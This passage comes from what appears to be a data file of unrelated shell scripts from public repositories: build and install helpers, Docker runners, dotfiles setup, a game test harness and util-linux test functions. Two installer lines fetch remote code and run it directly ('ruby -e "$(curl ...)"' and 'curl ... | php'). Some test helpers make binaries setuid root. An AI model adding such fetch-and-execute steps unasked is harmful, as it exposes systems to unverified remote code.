\"23932454.669343 ꜩ\"\n$client get balance for $key5 | assert \"72954577.464032 ꜩ\"\n\nbake_after $client transfer 10 from $key4 to $key5\n\necho\necho End of test\necho\n\nshow_logs=\"no\""} {"text": "sebastiangraf/treetank\n#! /bin/bash\n\n#Simple creating a target and copying it to this project.\n##-b: forces build of server\n##-s: storagepath\n##-s \n\n##1. note the path\nbuild=$1\nbashPath=`pwd`\niscsiPath=$bashPath/../../..\n\ntargetConf=$iscsiPath/src/main/resources/jscsi-target.xml\nbackend=org.treetank.io.berkeley.BerkeleyStorage\nrevisioning=org.treetank.revisioning.SlidingSnapshot\njarname=iscsi-6.0.1-SNAPSHOT-jar-with-dependencies.jar\n\n#Check if build is triggered\nif [ \"build\" == \"$build\" ]\n\tthen\n\t##2. install current project\n\tcd $iscsiPath/../..\n\techo \"Building entire project at `pwd`\"\n\techo \"++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n\tmvn clean install\n\n\t##3. build target server\n\tcd $iscsiPath\n\techo \"Building iscsi target at `pwd` ++++++++++++++++++++\"\n\techo \"++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n\tmvn assembly:assembly\nfi\n\n##5. start server\ncd $iscsiPath\necho \"Start target to `pwd` ++++++++++++++++++++\"\necho \"++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\nstoragePath=`pwd`/target/iscsiStor\nrm -rvf $storagePath\nmkdir $storagePath\ncp target/$jarname .\njava -jar $jarname storagePath=$storagePath targetConfiguration=$targetConf backendImplementation=$backend revisioningImplementation=$revisioning"} {"text": "#!/usr/bin/env bash\n\nSOLR_URL=${1-'http://localhost:8983/solr'}\n\ncurl -X POST \"$SOLR_URL/admin/collections?action=DELETE&name=sapl-logs\""} {"text": "# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT license.\n# Compiles and then runs the mock azureeyemodule application inside the docker image.\n# If you want to use Debug mode, you must run `docker build . -t mock-eye-module-debug` from the mock-eye-module folder.\n\nUSAGE=\"$0\n [--debug/-g] (debug using GDB instead of running the program)\n [--device/-d=('NCS2'|'GPU'|'CPU')] (default is CPU)\n [--labels/-l=] (only some models require this)\n [--parser/-p=] (see application for allowed ones)\n [--video/-v=] (if not given, we use webcam)\n [--weights/-w=] (if not given, we use example/model.bin)\n [--xml/-x=] (if not given, we use example/model.xml)\"\n\n# Make sure that we are in the right directory by making sure that there is an example folder here\nif [ ! -d \"example\" ]; then\n echo \"You must run this script from the mock-eye-module directory.\"\n exit 1\nfi\n\n# Defaults\nDEBUG=\"false\"\nDEVICE=\"CPU\"\nLABELPATH=\"\"\nPARSER=\"ssd\"\nVIDEOPATH=\"\"\nWEIGHTPATH=\"\"\nXMLPATH=\"\"\n\n# Non-args\nLABELFILE=\"/home/openvino/tmp/labels.txt\"\nVIDEOFILE=\"\"\nWEIGHTFILE=\"/home/openvino/tmp/model.bin\"\nXMLFILE=\"/home/openvino/tmp/model.xml\"\n\n# Parse args\nfor i in \"$@\"\ndo\ncase $i in\n -h|--help)\n echo \"$USAGE\"\n exit 0\n ;;\n -d=*|--device=*)\n DEVICE=\"${i#*=}\"\n shift\n ;;\n -g|--debug)\n DEBUG=\"true\"\n shift\n ;;\n -l=*|--labels=*)\n LABELPATH=\"${i#*=}\"\n shift\n ;;\n -p=*|--parser=*)\n PARSER=\"${i#*=}\"\n shift\n ;;\n -v=*|--video=*)\n VIDEOPATH=\"${i#*=}\"\n VIDEOFILE=\"/home/openvino/tmp/movie.mp4\"\n shift\n ;;\n -w=*|--weights=*)\n WEIGHTPATH=\"${i#*=}\"\n shift\n ;;\n -x=*|--xml=*)\n XMLPATH=\"${i#*=}\"\n shift\n ;;\n *)\n # Unknown option\n echo \"$USAGE\"\n exit 0\n ;;\nesac\ndone\n\n# Make the tmp directory, then copy everything into it\nrm -rf tmp\nmkdir -p tmp\ncp -r kernels tmp/\ncp -r modules tmp/\ncp main.cpp tmp/\ncp CMakeLists.txt tmp/\ncp example/* tmp/\n\n# If given a video file, let's verify it exists and then copy it into tmp/\nif [ ! -z \"$VIDEOPATH\" ] && [ ! -f \"$VIDEOPATH\" ]; then\n echo \"--video should either not be given, or should point to a file. Given $VIDEOPATH\"\n exit 4\nelif [ ! -z \"$VIDEOPATH\" ]; then\n cp \"$VIDEOPATH\" tmp/movie.mp4\nfi\n\n# If given an XML file, let's verify it exists and then copy it into tmp/\nif [ ! -z \"$XMLPATH\" ] && [ ! -f \"$XMLPATH\" ]; then\n echo \"--xml should either not be given, or should point to a file. Given $XMLPATH\"\n exit 5\nelif [ ! -z \"$XMLPATH\" ]; then\n cp \"$XMLPATH\" tmp/model.xml\nfi\n\n# If given a weights file, let's verify it exists and then copy it into tmp/\nif [ ! -z \"$WEIGHTPATH\" ] && [ ! -f \"$WEIGHTPATH\" ]; then\n echo \"--weights should either not be given, or should point to a file. Given $WEIGHTPATH\"\n exit 6\nelif [ ! -z \"$WEIGHTPATH\" ]; then\n cp \"$WEIGHTPATH\" tmp/model.bin\nfi\n\n# Same for labels\nif [ ! -z \"$LABELPATH\" ] && [ ! -f \"$LABELPATH\" ]; then\n echo \"--labels should either not be given, or should point to a file. Given $LABELPATH\"\n exit 7\nelif [ ! -z \"$LABELPATH\" ]; then\n cp \"$LABELPATH\" tmp/labels.txt\nfi\n\ncp $HOME/.Xauthority tmp/.Xauthority \n\n# Put together the command, based on whether we want webcam or not, and based on whether we need a labelfile or not\nCMD=\"./mock_eye_app --device=$DEVICE --parser=$PARSER --weights=$WEIGHTFILE --xml=$XMLFILE --show\"\nif [ ! -z \"$VIDEOPATH\" ]; then\n CMD=\"$CMD --video_in=$VIDEOFILE\"\nfi\n\nif [ \"$PARSER\" != \"openpose\" ]; then\n CMD=\"$CMD --labels=$LABELFILE\"\nfi\n\n# Should we debug?\n# if [ \"$DEBUG\" == \"true\" ]; then\n# CMD=\"gdb --args $CMD\"\n# DEBUG_DOCKER_CMD=\"-it\"\n# BUILDTYPE=\"Debug\"\n# DOCKERIMG=\"mock-eye-module-debug\"\n# else\nDEBUG_DOCKER_CMD=\"-t\"\nBUILDTYPE=\"Release\"\n# DOCKERIMG=\"openvino/ubuntu18_runtime:2021.1\"\nDOCKERIMG=\"openvino/ubuntu18_runtime:latest\"\n#fi\n\necho \"$CMD\"\n\n# Accept a local connection to Xserver\nexport XAUTHORITY=$HOME/.Xauthority && export DISPLAY=localhost:10.0\nxhost +local:$(id -un) > /dev/null\n\n\n# \"$DOCKERIMG\" bash -c \"apt-get update && apt-get install -y xauth x11-apps && export XAUTHORITY=/home/openvino/tmp/.Xauthority && xclock\" # \"apt-get install x11-app && xclock\"\n# --device=/dev/video0:/dev/video0 \\\n# Docker command needs -i if we are debugging\ndocker run --rm \\\n -e DISPLAY=$DISPLAY \\\n\t -u root \\\n -v /dev/bus/usb:/dev/bus/usb \\\n -v `realpath tmp`:/home/openvino/tmp \\\n -w /home/openvino/tmp \\\n --device=/dev/dri:/dev/dri \\\n --device-cgroup-rule='c 189:* rmw' \\\n --network=host \\\n --volume=\"/tmp/.X11-unix:/tmp/.X11-unix:rw\" \\\n \"$DEBUG_DOCKER_CMD\" \\\n \"$DOCKERIMG\" bash -c \"source /opt/intel/openvino/bin/setupvars.sh && \\\n mkdir -p build && \\\n cd build && \\\n export XAUTHORITY=/home/openvino/tmp/.Xauthority && \\ \n apt-get update -y && apt-get install -y build-essential ffmpeg cmake libgstreamer1.0-dev && \\\n cmake -DCMAKE_BUILD_TYPE=$BUILDTYPE .. && \\\n make && \\\n $CMD\"\n # \n# Put the Xserver # permission back to normal\nxhost - > /dev/null"} {"text": "mjgs/dotfiles\n#!/usr/bin/env bash\n\n#\n# Description: installs osx items \n#\n\nif [ -n \"$DEBUG\" ]; then\n echo \"$0: Setting bash option -x for debug\"\n PS4='+($(basename ${BASH_SOURCE}):${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'\n set -x\nfi\n\n# Exit on error\nset -e; set -o pipefail\n\nPFX=${PFX:-==>}\nHOME=${HOME:?}\nDOTFILES_DIR=${DOTFILES_DIR:?}\nHOMEBREW_URL=${HOMEBREW_URL:?}\n\nif [ ! -x /usr/bin/gcc ]; then\n echo \"$PFX Installing xcode...\"\n xcode-select --install\nfi\n\nfunction installHomebrew() {\n echo \"$PFX Installing homebrew...\"\n\n if [ ! -x /usr/local/bin/brew ]; then\n echo \"$PFX Homebrew url: $HOMEBREW_URL\"\n ruby -e \"$(curl -fsSL $HOMEBREW_URL)\"\n else\n echo \"$PFX Homebrew already installed, skipping...\"\n fi\n}\n\ninstallHomebrew\n\necho \"$PFX Installing OSX items\"\n\n$DOTFILES_DIR/bin/install/osx/installs/shell.sh\n$DOTFILES_DIR/bin/install/osx/installs/brew.sh\n$DOTFILES_DIR/bin/install/osx/installs/gui.sh\n\necho \"$PFX Configuring OSX settings and applications\"\n\n$DOTFILES_DIR/bin/install/osx/configurations/system/set_system_prefs.sh\n$DOTFILES_DIR/bin/install/osx/configurations/system/set_hidden_prefs.sh\n$DOTFILES_DIR/bin/install/osx/configurations/system/set_application_prefs.sh\n$DOTFILES_DIR/bin/install/osx/configurations/system/configure_dock_apps.sh\n\nexit 0"} {"text": "AgID/wai-infrastructure\n#!/bin/sh\ndocker build -t webanalyticsitalia/wai-openresty:1.0.1-stable -t webanalyticsitalia/wai-openresty:latest --build-arg OPENRESTY_VERSION=1.19.3.1-2-alpine-fat .\ndocker push webanalyticsitalia/wai-openresty:1.0.1-stable\ndocker push webanalyticsitalia/wai-openresty:latest"} {"text": "#!/usr/bin/env bash\n# Copyright (C) 2019-2020 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n\nexport TBB_DIR=${INTEL_OPENVINO_DIR}/deployment_tools/inference_engine/external/tbb/cmake\n\nmkdir -p demo/build\ncd demo\n\ncurl -O https://download.01.org/opencv/2020/openvinotoolkit/2020.1/open_model_zoo/models_bin/1/face-detection-adas-0001/FP32/face-detection-adas-0001.bin\ncurl -O https://download.01.org/opencv/2020/openvinotoolkit/2020.1/open_model_zoo/models_bin/1/face-detection-adas-0001/FP32/face-detection-adas-0001.xml\n\necho 'cmake_minimum_required(VERSION 3.4.3)\nproject(test_ie CXX)\nfind_package(InferenceEngine REQUIRED)\nfind_package(ngraph REQUIRED)\nadd_executable(${CMAKE_PROJECT_NAME} main.cpp)\ntarget_compile_features(${CMAKE_PROJECT_NAME} PRIVATE cxx_range_for)\n\ntarget_link_libraries(${CMAKE_PROJECT_NAME}\n ${InferenceEngine_LIBRARIES}\n ${NGRAPH_LIBRARIES}\n)' > CMakeLists.txt\n\necho '#include \n#include \n\nusing namespace InferenceEngine;\n\nint main(int argc, char** argv){\n Core core;\n CNNNetwork network = core.ReadNetwork(\"../face-detection-adas-0001.xml\", \"../face-detection-adas-0001.bin\");\n auto executable_network = core.LoadNetwork(network, \"CPU\");\n auto req = executable_network.CreateInferRequest();\n req.Infer();\n std::cout <<\"finished\" << std::endl;\n return 0;\n}' > main.cpp\n\n# Build and run the sample\ncd build\ncmake ..\nmake -j$(nproc)\n./test_ie\ncd ${INTEL_OPENVINO_DIR}"} {"text": "koinotice/genv\n#!/usr/bin/env bash\n\n#% 🔺 AWS_ACCESS_KEY_ID %% AWS API Access Key ID %% foobar\nif [ ! -v AWS_ACCESS_KEY_ID ]; then\n export AWS_ACCESS_KEY_ID=foobar\nfi\n\n#% 🔺 AWS_SECRET_ACCESS_KEY %% AWS API Secret Access Key %% foobar\nif [ ! -v AWS_SECRET_ACCESS_KEY ]; then\n export AWS_SECRET_ACCESS_KEY=foobar\nfi\n\n#% 🔺 AWS_REGION %% AWS API Region %% us-east-1\nif [ ! -v AWS_REGION ]; then\n export AWS_REGION=us-east-1\nfi\n\n#% 🔺 SQS_ENDPOINT %% SQS endpoint URL %% http://localstack.service.int.genv:4576 (LocalStack)\nif [ ! -v SQS_ENDPOINT ]; then\n\texport SQS_ENDPOINT=http://localstack.service.int.genv:4576\nfi\n\n#% 🔺 SQS_ADMIN_PORT %% SQS Admin Port %% 8002\nif [ ! -v SQS_ADMIN_PORT ]; then\n\texport SQS_ADMIN_PORT=8002\nfi\n\n\n# SQS Admin hostnames\nif [ ! -v TRAEFIK_ACME ]; then\n\texport SQS_ADMIN_HOSTS=sqsadmin.genv,sqs-admin.genv\nfi\n\nif [ -v CUSTOM_DOMAINS ]; then\n\tfor i in \"${CUSTOM_DOMAINS[@]}\"; do\n\t\texport SQS_ADMIN_HOSTS+=\",sqsadmin.${i},sqs-admin.${i}\"\n\tdone\nfi"} {"text": "clientverify/tetrinet\n#!/bin/bash\n\nif [[ $HOSTNAME == \"kudzoo\" ]] \nthen\n BASE_DIR=\"/home/rac/research/games/tetris/tetrinet\"\nelif [[ $HOSTNAME == \"brawn.cs.unc.edu\" ]]\nthen\n BASE_DIR=\"/playpen2/rac/games/tetrinet\"\nelse\n echo \"Set correct configuration dirs in $0\"\n exit\nfi\n\nSERVER_BIN=\"tetrinet-server\"\nSERVER_OPT=\" \"\nSERVER_COMMAND=\"$BASE_DIR/$SERVER_BIN $SERVER_OPT \"\n\nCLIENT_BIN=\"tetrinet-ktest\"\nCLIENT_OPT=\" \"\nCLIENT_COMMAND=\"$BASE_DIR/$CLIENT_BIN $CLIENT_OPT \"\n\n###### CONFIG ######\nSERVER_ADDRESS=\"localhost\"\nPLAYER_NAME=\"p1\"\nKTEST_SUFFIX=\"ktest\"\nmaxRound=100\n\nCOUNT=5\nptypeValues=`seq 2 4`\nrateValues=`echo 1; seq 2 2 16`\n\nCOUNT=2\nptypeValues=`echo 5`\nrateValues=`seq 1 16`\nrateValues=`echo 1`\n\nCOUNT=2\nptypeValues=`seq 1 4`\nptypeValues=`echo 3`\nrateValues=`seq 1 16`\n\n####################\n\nDATA_DIR=\"$BASE_DIR/data_tetrinet\"\n\nRUN_PREFIX=$(date +%F.%T)\n\nmkdir -p $DATA_DIR/$RUN_PREFIX \n\n#rm $DATA_DIR/\"last-run\"\n#ln -sf $DATA_DIR/$RUN_PREFIX $DATA_DIR/\"last-run\"\nrm $DATA_DIR/\"last-run-new\"\nln -sf $DATA_DIR/$RUN_PREFIX $DATA_DIR/\"last-run-new\"\n\n#if test -z \"$1\" \n#then \n# COUNT=5\n#else\n# COUNT=$2\n#fi\n#\nif test -z \"$2\" \nthen \n MODE=\"ktest\"\nelse\n MODE=$1\nfi\n\n# For each configuration, create N runs (random seed 1-N)\n# Configurations:\n# 1. Full fields\n# 2. Partial fields with height only\n# 3. Partial fields with column only\n# 3. Partial fields with height and column only\n# 4. Partial fields with height and rotation only\n# Each configuration with full field sent every other round up to every 10th round\n\nif [ \"$MODE\" == \"ktest\" ]\nthen\n LOG_DIR=$DATA_DIR/$RUN_PREFIX/log\n KTEST_DIR=$DATA_DIR/$RUN_PREFIX/ktest\n\n mkdir -p $LOG_DIR $KTEST_DIR \n\n\tfor rate in $rateValues\n do \n\t\tfor ptype in $ptypeValues\n do\n for i in `seq 1 $COUNT`\n do\n zpad_ptype=`printf \"%02d\" $ptype`\n zpad_rate=`printf \"%02d\" $rate`\n zpad_i=`printf \"%02d\" $i`\n DESC=\"tetrinet_\"$zpad_i\"_type-\"$ptype\"_rate-\"$zpad_rate\n\n while ! [ -e $KTEST_DIR/$DESC.ktest ] \n do\n while ! [[ `pgrep $SERVER_BIN` ]] \n do\n echo \"starting server in background...\"\n echo \"$SERVER_COMMAND &> /dev/null &\"\n exec $SERVER_COMMAND &> /dev/null &\n sleep 1\n done\n\n echo \"creating $DESC.ktest\"\n OPTS=\" -log $LOG_DIR/$DESC.log -ktest $KTEST_DIR/$DESC.ktest \"\n OPTS+=\" -autostart -random -seed $i -maxround $maxRound -partialtype $ptype -partialrate $rate\"\n OPTS+=\" $PLAYER_NAME $SERVER_ADDRESS \"\n echo \"$CLIENT_COMMAND $OPTS\"\n $CLIENT_COMMAND $OPTS\n\n echo \"killing server process ...\"\n pkill $SERVER_BIN\n sleep 1\n done\n done\n done\n done\nfi"} {"text": "10-100\n#!/bin/sh\n\nzfs set org.zfsbootmenu:commandline=\"$(cat etc-x86/zfsbootmenu/commandline)\" zroot/ROOT"} {"text": "images/linux/scripts/installers/composer.sh\n#!/bin/bash\n################################################################################\n## File: composer.sh\n## Desc: Installs Composer\n################################################################################\n\n# Source the helpers for use with the script\nsource $HELPER_SCRIPTS/document.sh\n\ncurl -sS https://getcomposer.org/installer | php\nmv composer.phar /usr/local/bin/composer\ncomposer global require hirak/prestissimo\n\nDocumentInstalledItem \"Composer ($(composer --version))\""} {"text": "mrowegawd/dotfiles\n#!/bin/bash\n\ngit submodule init\ngit submodule update\n\n# PWD=$(pwd)\n\nstowit() {\n usr=$1\n app=$2\n # -v verbose\n # -R recursive\n # -t target\n stow --adopt -vSt \"${usr}\" \"${app}\"\n}\n\nmain() {\n\n if [[ ! -L ~/.bashrc ]]; then\n cp ./home/.bashrc ~\n cp ./home/.profile ~\n fi\n\n for filename in *; do\n\n if [[ -d \"$filename\" ]]; then\n\n if [[ $filename == \"img\" ]]; then\n continue\n fi\n\n stowit ~ \"$filename\"\n fi\n done\n\n}\n\necho \"\"\n\nmain\n\necho \"##### ALL DONE\""} {"text": "1-10\nalias ticktrack='say-and-execute heroku run rails console --app ticktrack'"} {"text": "#!/usr/bin/env bash\n\n# The default provider Ember-CSI uses\nexport KUBEVIRT_NUM_NODES=1\nexport KUBEVIRT_PROVIDER=${KUBEVIRT_PROVIDER:-os-3.11.0}\n\n# Kubevirt Version\nexport KUBEVIRT_VERSION=v0.15.0\n\n# Useful aliases\nalias k='./cluster/kubectl.sh -n sample-project'\nalias v='./cluster/virtctl.sh -n sample-project'"} {"text": "set -o nounset\n\nhere=$1\nscript=$here/$2\nlogfile=$3\n\nexport PYTHONPATH=$here\npython $script 2>&1 >$logfile"} {"text": "0\n#\n# Copyright (C) 2007 <>\n#\n# This file is part of util-linux.\n#\n# This file is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This file is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n\n\nfunction ts_abspath {\n\tcd $1\n\tpwd\n}\n\nfunction ts_skip_subtest {\n\techo \" IGNORE ($1)\"\n}\n\nfunction ts_skip {\n\tts_skip_subtest \"$1\"\n\tif [ -n \"$2\" -a -b \"$2\" ]; then\n\t\tts_device_deinit \"$2\"\n\tfi\n\texit 0\n}\n\nfunction ts_skip_nonroot {\n\tif [ $UID -ne 0 ]; then\n\t\tts_skip \"not root permissions\"\n\tfi\n}\n\nfunction ts_failed_subtest {\n\tif [ x\"$1\" == x\"\" ]; then\n\t\techo \" FAILED ($TS_NS)\"\n\telse\n\t\techo \" FAILED ($1)\"\n\tfi\n}\n\nfunction ts_failed {\n\tts_failed_subtest \"$1\"\n\texit 1\n}\n\nfunction ts_ok_subtest {\n\tif [ x\"$1\" == x\"\" ]; then\n\t\techo \" OK\"\n\telse\n\t\techo \" OK ($1)\"\n\tfi\n}\n\nfunction ts_ok {\n\tts_ok_subtest \"$1\"\n\texit 0\n}\n\nfunction ts_log {\n\techo \"$1\" >> $TS_OUTPUT\n\t[ \"$TS_VERBOSE\" == \"yes\" ] && echo \"$1\"\n}\n\nfunction ts_has_option {\n\tNAME=\"$1\"\n\tALL=\"$2\"\n\techo -n $ALL | sed 's/ //g' | awk 'BEGIN { FS=\"=\"; RS=\"--\" } /('$NAME'$|'$NAME'=)/ { print \"yes\" }'\n}\n\nfunction ts_init_core_env {\n\tTS_NS=\"$TS_COMPONENT/$TS_TESTNAME\"\n\tTS_OUTPUT=\"$TS_OUTDIR/$TS_TESTNAME\"\n\tTS_VGDUMP=\"$TS_OUTDIR/$TS_TESTNAME.vgdump\"\n\tTS_DIFF=\"$TS_DIFFDIR/$TS_TESTNAME\"\n\tTS_EXPECTED=\"$TS_TOPDIR/expected/$TS_NS\"\n\tTS_MOUNTPOINT=\"$TS_OUTDIR/${TS_TESTNAME}-mnt\"\n}\n\nfunction ts_init_core_subtest_env {\n\tTS_NS=\"$TS_COMPONENT/$TS_TESTNAME-$TS_SUBNAME\"\n\tTS_OUTPUT=\"$TS_OUTDIR/$TS_TESTNAME-$TS_SUBNAME\"\n\tTS_VGDUMP=\"$TS_OUTDIR/$TS_TESTNAME-$TS_SUBNAME.vgdump\"\n\tTS_DIFF=\"$TS_DIFFDIR/$TS_TESTNAME-$TS_SUBNAME\"\n\tTS_EXPECTED=\"$TS_TOPDIR/expected/$TS_NS\"\n\tTS_MOUNTPOINT=\"$TS_OUTDIR/${TS_TESTNAME}-${TS_SUBNAME}-mnt\"\n\n\trm -f $TS_OUTPUT $TS_VGDUMP\n\t[ -d \"$TS_OUTDIR\" ] || mkdir -p \"$TS_OUTDIR\"\n\n\ttouch $TS_OUTPUT\n\t[ -n \"$TS_VALGRIND_CMD\" ] && touch $TS_VGDUMP\n}\n\nfunction ts_init_env {\n\tlocal mydir=$(ts_abspath $(dirname $0))\n\n\tLANG=\"POSIX\"\n\tLANGUAGE=\"POSIX\"\n\tLC_ALL=\"POSIX\"\n\tCHARSET=\"UTF-8\"\n\n\texport LANG LANGUAGE LC_ALL CHARSET\n\n\tTS_TOPDIR=$(ts_abspath $mydir/../../)\n\tTS_SCRIPT=\"$mydir/$(basename $0)\"\n\tTS_SUBDIR=$(dirname $TS_SCRIPT)\n\tTS_TESTNAME=$(basename $TS_SCRIPT)\n\tTS_COMPONENT=$(basename $TS_SUBDIR)\n\n\tTS_NSUBTESTS=0\n\tTS_NSUBFAILED=0\n\n\tTS_SELF=\"$TS_SUBDIR\"\n\n\tTS_OUTDIR=\"$TS_TOPDIR/output/$TS_COMPONENT\"\n\tTS_DIFFDIR=\"$TS_TOPDIR/diff/$TS_COMPONENT\"\n\n\tts_init_core_env\n\n\tTS_VERBOSE=$(ts_has_option \"verbose\" \"$*\")\n\n\tBLKID_FILE=\"$TS_OUTDIR/${TS_TESTNAME}.blkidtab\"\n\n\n\tdeclare -a TS_SUID_PROGS\n\tdeclare -a TS_SUID_USER\n\tdeclare -a TS_SUID_GROUP\n\n\tif [ -f $TS_TOPDIR/commands.sh ]; then\n\t\t. $TS_TOPDIR/commands.sh\n\tfi\n\n\texport BLKID_FILE\n\n\trm -f $TS_OUTPUT $TS_VGDUMP\n\t[ -d \"$TS_OUTDIR\" ] || mkdir -p \"$TS_OUTDIR\"\n\n\ttouch $TS_OUTPUT\n\t[ -n \"$TS_VALGRIND_CMD\" ] && touch $TS_VGDUMP\n\n\tif [ \"$TS_VERBOSE\" == \"yes\" ]; then\n\t\techo\n\t\techo \" script: $TS_SCRIPT\"\n\t\techo \" sub dir: $TS_SUBDIR\"\n\t\techo \" top dir: $TS_TOPDIR\"\n\t\techo \" self: $TS_SELF\"\n\t\techo \" test name: $TS_TESTNAME\"\n\t\techo \" test desc: $TS_DESC\"\n\t\techo \" component: $TS_COMPONENT\"\n\t\techo \" namespace: $TS_NS\"\n\t\techo \" verbose: $TS_VERBOSE\"\n\t\techo \" output: $TS_OUTPUT\"\n\t\techo \" valgrind: $TS_VGDUMP\"\n\t\techo \" expected: $TS_EXPECTED\"\n\t\techo \" mountpoint: $TS_MOUNTPOINT\"\n\t\techo\n\tfi\n}\n\nfunction ts_init_subtest {\n\n\tTS_SUBNAME=\"$1\"\n\n\tts_init_core_subtest_env\n\n\t[ $TS_NSUBTESTS -eq 0 ] && echo\n\tTS_NSUBTESTS=$(( $TS_NSUBTESTS + 1 ))\n\n\tprintf \"%16s: %-27s ...\" \"\" \"$TS_SUBNAME\"\n}\n\nfunction ts_init {\n\tlocal is_fake=$( ts_has_option \"fake\" \"$*\")\n\tlocal is_force=$( ts_has_option \"force\" \"$*\")\n\tlocal is_memcheck=$( ts_has_option \"memcheck\" \"$*\")\n\n\tif [ \"$is_memcheck\" == \"yes\" -a -f /usr/bin/valgrind ]; then\n\t\tTS_VALGRIND_CMD=\"/usr/bin/valgrind\"\n\tfi\n\n\tts_init_env \"$*\"\n\n\tprintf \"%13s: %-30s ...\" \"$TS_COMPONENT\" \"$TS_DESC\"\n\n\t[ \"$is_fake\" == \"yes\" ] && ts_skip \"fake mode\"\n\t[ \"$TS_OPTIONAL\" == \"yes\" -a \"$is_force\" != \"yes\" ] && ts_skip \"optional\"\n}\n\nfunction ts_init_suid {\n\tPROG=\"$1\"\n\tct=${#TS_SUID_PROGS[*]}\n\n\t# Save info about original setting\n\tTS_SUID_PROGS[$ct]=$PROG\n\tTS_SUID_USER[$ct]=$(stat --printf=\"%U\" $PROG)\n\tTS_SUID_GROUP[$ct]=$(stat --printf=\"%G\" $PROG)\n\n\tchown root.root $PROG &> /dev/null\n\tchmod u+s $PROG &> /dev/null\n}\n\nfunction ts_valgrind {\n\tif [ -z \"$TS_VALGRIND_CMD\" ]; then\n\t\t$*\n\telse\n\t\t$TS_VALGRIND_CMD --tool=memcheck --leak-check=full \\\n\t\t\t\t --leak-resolution=high --num-callers=20 \\\n\t\t\t\t --log-file=\"$TS_VGDUMP\" $*\n\tfi\n}\n\nfunction ts_gen_diff {\n\tlocal res=0\n\n\tif [ -s \"$TS_OUTPUT\" ]; then\n\n\t\t[ -d \"$TS_DIFFDIR\" ] || mkdir -p \"$TS_DIFFDIR\"\n\t\tdiff -u $TS_EXPECTED $TS_OUTPUT > $TS_DIFF\n\n\t\tif [ -s $TS_DIFF ]; then\n\t\t\tres=1\n\t\telse\n\t\t\trm -f $TS_DIFF;\n\t\tfi\n\telse\n\t\tres=1\n\tfi\n\treturn $res\n}\n\nfunction tt_gen_mem_report {\n\t[ -z \"$TS_VALGRIND_CMD\" ] && echo \"$1\"\n\n\tgrep -q -E 'ERROR SUMMARY: [1-9]' $TS_VGDUMP &> /dev/null\n\tif [ $? -eq 0 ]; then\n\t\techo \"mem-error detected!\"\n\tfi\n}\n\nfunction ts_finalize_subtest {\n\tlocal res=0\n\n\tif [ -s \"$TS_EXPECTED\" ]; then\n\t\tts_gen_diff\n\t\tif [ $? -eq 1 ]; then\n\t\t\tts_failed_subtest \"$1\"\n\t\t\tres=1\n\t\telse\n\t\t\tts_ok_subtest \"$(tt_gen_mem_report \"$1\")\"\n\t\tfi\n\telse\n\t\tts_skip_subtest \"output undefined\"\n\tfi\n\n\t[ $res -ne 0 ] && TS_NSUBFAILED=$(( $TS_NSUBFAILED + 1 ))\n\n\t# reset environment back to parental test\n\tts_init_core_env\n\n\treturn $res\n}\n\nfunction ts_finalize {\n\tfor idx in $(seq 0 $((${#TS_SUID_PROGS[*]} - 1))); do\n\t\tPROG=${TS_SUID_PROGS[$idx]}\n\t\tchmod a-s $PROG &> /dev/null\n\t\tchown ${TS_SUID_USER[$idx]}.${TS_SUID_GROUP[$idx]} $PROG &> /dev/null\n\tdone\n\n\tif [ $TS_NSUBTESTS -ne 0 ]; then\n\t\tprintf \"%11s...\"\n\t\tif [ $TS_NSUBFAILED -ne 0 ]; then\n\t\t\tts_failed \"$TS_NSUBFAILED from $TS_NSUBTESTS sub-tests\"\n\t\telse\n\t\t\tts_ok \"all $TS_NSUBTESTS sub-tests PASSED\"\n\t\tfi\n\tfi\n\n\tif [ -s $TS_EXPECTED ]; then\n\t\tts_gen_diff\n\t\tif [ $? -eq 1 ]; then\n\t\t\tts_failed \"$1\"\n\t\tfi\n\t\tts_ok \"$1\"\n\tfi\n\n\tts_skip \"output undefined\"\n}\n\nfunction ts_die {\n\tts_log \"$1\"\n\tif [ -n \"$2\" ] && [ -b \"$2\" ]; then\n\t\tts_device_deinit \"$2\"\n\t\tts_fstab_clean\t\t# for sure... \n\tfi\n\tts_finalize\n}\n\nfunction ts_image_md5sum {\n\tlocal img=${1:-\"$TS_OUTDIR/${TS_TESTNAME}.img\"}\n\techo $(md5sum \"$img\" | awk '{printf $1}') $(basename \"$img\")\n}\n\nfunction ts_image_init {\n\tlocal mib=${1:-\"5\"}\t# size in MiBs\n\tlocal img=${2:-\"$TS_OUTDIR/${TS_TESTNAME}.img\"}\n\t\n\tdd if=/dev/zero of=\"$img\" bs=1M count=$mib &> /dev/null\n\techo \"$img\"\n\treturn 0\n}\n\nfunction ts_device_init {\n\tlocal img=$(ts_image_init $1 $2)\n\tlocal dev=$($TS_CMD_LOSETUP --show -f \"$img\")\n\n\tif [ -z \"$dev\" ]; then\n\t\tts_device_deinit $dev\n\t\treturn 1\t\t# error\n\tfi\n\n\techo $dev\n\treturn 0\t\t\t# succes\n}\n\nfunction ts_device_deinit {\n\tlocal DEV=\"$1\"\n\n\tif [ -b \"$DEV\" ]; then\n\t\t$TS_CMD_UMOUNT \"$DEV\" &> /dev/null\n\t\t$TS_CMD_LOSETUP -d \"$DEV\" &> /dev/null\n\tfi\n}\n\nfunction ts_uuid_by_devname {\n\techo $($TS_CMD_BLKID -p -s UUID -o value $1)\n}\n\nfunction ts_label_by_devname {\n\techo $($TS_CMD_BLKID -p -s LABEL -o value $1)\n}\n\nfunction ts_fstype_by_devname {\n\techo $($TS_CMD_BLKID -p -s TYPE -o value $1)\n}\n\nfunction ts_device_has {\n\tlocal TAG=\"$1\"\n\tlocal VAL=\"$2\"\n\tlocal DEV=\"$3\"\n\tlocal vl=\"\"\n\n\tcase $TAG in\n\t\t\"TYPE\") vl=$(ts_fstype_by_devname $DEV);;\n\t\t\"LABEL\") vl=$(ts_label_by_devname $DEV);;\n\t\t\"UUID\") vl=$(ts_uuid_by_devname $DEV);;\n\t\t*) return 1;;\n\tesac\n\n\tif [ \"$vl\" == \"$VAL\" ]; then\n\t\treturn 0\n\tfi\n\treturn 1\n}\n\nfunction 